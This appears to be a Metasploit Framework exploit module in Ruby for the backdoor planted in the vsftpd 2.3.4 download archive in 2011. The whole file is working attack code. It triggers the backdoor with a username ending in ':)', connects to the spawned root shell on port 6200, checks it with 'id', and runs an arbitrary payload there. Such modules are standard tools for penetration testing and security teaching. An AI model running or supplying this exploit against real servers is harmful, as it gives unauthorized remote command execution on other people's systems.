VSFTPD 2.3.4 - Backdoor Command Execution

                                                ##
# $Id: vsftpd_234_backdoor.rb 13099 2011-07-05 05:20:47Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'VSFTPD v2.3.4 Backdoor Command Execution',
			'Description'    => %q{
					This module exploits a malicious backdoor that was added to the	VSFTPD download
					archive. This backdoor was introdcued into the vsftpd-2.3.4.tar.gz archive between
					June 30th 2011 and July 1st 2011 according to the most recent information
					available. This backdoor was removed on July 3rd 2011.
			},
			'Author'         => [ 'hdm', 'mc' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 13099 $',
			'References'     =>
				[
					[ 'URL', 'http://pastebin.com/AetT9sS5'],
					[ 'URL', 'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html' ],
				],
			'Privileged'     => true,
			'Platform'       => [ 'unix' ],
			'Arch'           => ARCH_CMD,
			'Payload'        =>
				{
					'Space'    => 2000,
					'BadChars' => '',
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType'    => 'cmd_interact',
							'ConnectionType' => 'find'
						}
				},
			'Targets'        =>
				[
					[ 'Automatic', { } ],
				],
			'DisclosureDate' => 'Jul 3 2011',
			'DefaultTarget' => 0))

		register_options([ Opt::RPORT(21) ], self.class)
	end

	def exploit

		nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
		if nsock
			print_status("The port used by the backdoor bind listener is already open")
			handle_backdoor(nsock)
			return
		end

		# Connect to the FTP service port first
		connect

		banner = sock.get_once(-1, 30).to_s
		print_status("Banner: #{banner.strip}")

		sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n")
		resp = sock.get_once(-1, 30).to_s
		print_status("USER: #{resp.strip}")

		if resp =~ /^530 /
			print_error("This server is configured for anonymous only and the backdoor code cannot be reached")
			disconnect
			return
		end

		if resp !~ /^331 /
			print_error("This server did not respond as expected: #{resp.strip}")
			disconnect
			return
		end

		sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")

		# Do not bother reading the response from password, just try the backdoor
		nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
		if nsock
			print_good("Backdoor service has been spawned, handling...")
			handle_backdoor(nsock)
			return
		end

		disconnect

	end

	def handle_backdoor(s)

		s.put("id\n")

		r = s.get_once(-1, 5).to_s
		if r !~ /uid=/
			print_error("The service on port 6200 does not appear to be a shell")
			disconnect(s)
			return
		end

		print_good("UID: #{r.strip}")

		s.put("nohup " + payload.encoded + " >/dev/null 2>&1")
		handler(s)
	end

end